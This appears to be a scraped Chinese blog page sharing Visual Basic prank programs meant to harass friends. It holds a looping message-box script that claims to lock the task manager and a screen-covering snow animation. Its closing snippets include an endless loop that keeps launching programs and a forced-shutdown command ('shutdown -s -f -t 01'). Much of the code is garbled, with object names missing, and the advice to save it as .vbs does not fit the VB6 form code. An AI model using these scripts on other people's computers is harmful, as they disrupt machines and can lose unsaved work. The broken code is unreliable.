admin 管理员组

文章数量: 887021


2023年12月19日发(作者:python读写xml)

使用方法:新建一个txt文本文档。然后把拓展名改成".vbs"的格式。然后右键编辑,把代码复制进去,ok!!!

1.整死你啊!!!

此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你

Private Sub Form_Load()

Open Environ$("WinDir") & "" For Binary As #1

For m = 1 To 999

MsgBox "呵呵,你知道我是谁吗?", 16

MsgBox "什么??不知道?", 16

MsgBox "那你打开我干什么?", 16

MsgBox "你有空没事做吧?!", 16

MsgBox "我..就是鼎鼎大名的987876198", 16

MsgBox "987876198..", 16

MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16

MsgBox "算了算了,不玩你了", 16

MsgBox "现在我数3声就闪人,行了吧?", 16

MsgBox "1.............", 16

MsgBox "2.............", 16

MsgBox "3.............", 16

MsgBox "噔噔噔噔,我又回来了!", 16

MsgBox "哈哈,是不是很过瘾呢?", 16

MsgBox "现在我先介绍下自己..", 16

MsgBox "我叫王得地..", 16

MsgBox "性别:男..", 16

MsgBox "今年35岁..", 16

MsgBox "不好意思噢,我好像说多了..", 16

MsgBox "不要这样喇,听我说完先好不?", 16

MsgBox "来来来,开始喇..", 16

MsgBox "我叫王得地..", 16

MsgBox "家中有屋又有田..", 16

MsgBox "生活乐无边..", 16

MsgBox "好像我又说多了...", 16

MsgBox "不要生气嘛,你认真看下去我就放你走..", 16

MsgBox "好,开始喇..", 16

MsgBox "从前有座山..", 16

MsgBox "山里有个座庙..", 16

MsgBox "庙里有个和尚..", 16

MsgBox "哈哈,想哭吗?", 16

MsgBox "被骗的感觉不爽吧?", 16

MsgBox "喂喂喂!别别..千万别重启电脑", 16

MsgBox "我告诉你怎么关吧", 16

MsgBox "先打开任务管理器", 16

MsgBox "忘了告诉你了,任务管理器打不开了", 16

MsgBox "别恨我啊你不小心", 16

MsgBox "电脑重新启动吧", 16

MsgBox "相信我吧,你知道我是不会骗人的", 16

MsgBox "如果你还想继续点的话,你就别听我的", 16

MsgBox "呵呵,我又没有说这个东西没有", 16

MsgBox "我只想说桌面没有罢了..", 16

MsgBox "嘻嘻,爽不爽吖?", 16

MsgBox "对着电脑屏幕大声说低调大好人", 16

MsgBox "不然,我就没办法的咯", 16

MsgBox "因为我把循环设置成99了", 16

MsgBox "想保存电脑数据只有继续点了", 16

MsgBox "绝对会出到去的", 16

MsgBox "好了,废话不多说了,祝你好运..", 16

MsgBox "制作:低调不倒", 16

MsgBox "QQ:987876198", 16

MsgBox "E-mail:不告诉你", 16

MsgBox "好,继续循环..", 16

Next

End Sub

·······················································

2.满屏小雪花

这是我以前写的小程序 让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。

本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。

本程序编译成 exe 文件运行后,只能通过系统"任务管理器"才能终止运行。程序运行效果截图如下:

'' '本程序包含两个窗体,Form1 和 Form2,其中 Form1 是启动窗体。代码在在 VB6 调试通过:

''下面是 Form1 窗体代码:=====================================

'' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体

'' 在窗体上放置一个控件:Timer1,不必设置任何属性

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal

hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long,

ByVal wFlags As Long) As Long

Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal

crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As

Long, ByVal nIndex As Long) As Long

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As

Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long

Private Type tySnow '定义表示雪花的数据类型

X As Single: xV As Single 'x 坐标、水平移动速度

Y As Single: yV As Single 'y 坐标、垂直移动速度

Se As Long: Size As Single '雪花颜色、大小

End Type

Private Sub Form_Load()

ctSnowS = 200 '300 '雪花数量

ctSeChange = 30 '雪花颜色的变化范围

'最大化窗口。注意:不要用在属性窗口设置 WindowState 属性的方

'式,也不使用 State = 2 代码。否则,在用户调整任务

'栏状态的时候,会造成积雪的位置错位。

State = 0

0, 0, ,

ReDim ctSnow(1 To ctSnowS)

n = "雪花飘飘"

draw = True: ode = 3

lor = RGB(235 - ctSeChange * 2, 235 - ctSeChange * 2, 255)

Call TransWin(, lor) '将窗口背景色设置为透明的

draw = True: ode = 3

lor = lor

, , ,

Call TransWin(, lor) '将窗口背景色设置为透明的

d = True: al = 20

End Sub

Private Sub Timer1_Timer()

Dim I As Long, V As Single, H1 As Single, IsDown As Boolean, Se As Long

V = 8 '修改此数字,可改变雪花整体飘荡的速度

Randomize '初始化随机发生器

WinInTop , True '使雪花(窗口)显示在最前,包括显示到任务栏上面

WinInTop , True

(0, 0)-(idth, eight), lor, BF

For I = 1 To ctSnowS

ctSnow(I).X = ctSnow(I).X + ctSnow(I).xV * V

ctSnow(I).Y = ctSnow(I).Y + ctSnow(I).yV * V

If Rnd * 20 < 1 Then ctSnow(I).xV = Rnd - 0.5 '改变水平移动速度,模拟随风飘荡

If ctSnow(I).Size = 0 Or ctSnow(I).Y > eight Then Call SnowInit(I) '未初始化,或超出下边界

' ctSnow(I).Size = 2 '****调试代码

ShowStr Me, I '画一朵雪花

= ctSnow(I).Size

H1 = ight("*") * 0.5 '半个字符高度

If ctSnow(I).X < -H1 Then ctSnow(I).X = idth '超出左边界

If ctSnow(I).X > idth Then ctSnow(I).X = -H1 '超出右边界

'最下层积雪位置

IsDown = ctSnow(I).Y > eight - H1

If IsDown Then ctSnow(I).Y = eight - H1

'积雪密度:Y 坐标后 H1*0.9 数值越小密度越大

'数值过大,如 H1*1.5,会使积雪堆积成柱状或造成空隙。

'数值过小,如 H1*0.5,会使积雪堆积速度缓慢。

Se = (ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 * 0.9)

If Se > -1 And Se <> lor Then IsDown = True

'已落到最下面,在 Form2 的相同位置绘制积雪

If IsDown Then

ShowStr Form2, I

Call SnowInit(I)

If ctSnow(I).Y > eight * 0.9 Then

= 12

tX = (idth - 8 * ight("12")) * 0.5

tY = eight * 0.92

lor = RGB(0, 0, 255)

"双击此处消除积雪"

End If

End If

Next

End Sub

Private Sub ShowStr(Kj, I As Long)

'画一朵雪花

Dim H1 As Single

= ctSnow(I).Size

tX = ctSnow(I).X

tY = ctSnow(I).Y

lor = ctSnow(I).Se

If ctSnow(I).Size > 4.2 Then

"*"

Else

If ctSnow(I).Size > 3 Then dth = 2 Else dth = 1

H1 = ight("*") * 0.5

(ctSnow(I).X + H1 * 0.5, ctSnow(I).Y + H1 - 1)

End If

End Sub

Private Sub SnowInit(I As Long)

'初始化一朵雪花

Dim S As Single

ctSnow(I).X = Rnd * idth

ctSnow(I).xV = Rnd - 0.5

ctSnow(I).yV = Rnd * 0.5 + 0.1

S = 2 + Rnd * 9 '字体最大 11 号

If ctSnow(I).Size = 0 Then

ctSnow(I).Y = Rnd * eight

Else

= S

ctSnow(I).Y = -ight("*")

End If

ctSnow(I).Size = S

S = 235 - ctSeChange * 2 + Int(Rnd * ctSeChange * 2)

ctSnow(I).Se = RGB(S, S, 255) '雪花略带蓝色,否则在白背景时将看不见

End Sub

Private Sub TransWin(hWnd As Long, TransColor As Long)

'将窗口颜色 TransColor 设置为透明的

Dim ExsTyle As Long

Const WS_EX_LAYERED = &H80000, GWL_ExsTyle = -20

ExsTyle = WS_EX_LAYERED Or GetWindowLong(hWnd, GWL_ExsTyle)

SetWindowLong hWnd, GWL_ExsTyle, ExsTyle

SetLayeredWindowAttributes hWnd, TransColor, 0, 1

End Sub

Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean)

'窗口保持最前

Const HWND_NoTopMost = -2 '取消在最前

Const HWND_TopMost = -1 '最上

Const SWP_NoSize = &H1 'wFlags 参数

Const SWP_NoMove = &H2

Const SWP_NoZorder = &H4

Const SWP_NoActivate = &H10 '不激活窗口

Const SWP_ShowWindow = &H40

Const SWP_HideWindow = &H80

Dim nIn As Long

If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost

SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove + SWP_NoActivate

End Sub

''下面是 Form2 窗体代码:=====================================

'' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体

Private Sub Form_DblClick()

'双击清除积雪

(0, 0)-(idth, eight), lor, BF

End Sub

1、sub form_load()

shell e

end sub

2、do

shell ""

loop

3、shell "cmd /c shutdown -s -f -t 01"

1和2是不断运行程序,3是迅速关机。

-------------------------希望有财的捧个财场!!!望下载!!!------------------------------


本文标签: 雪花 积雪 任务 窗体 管理器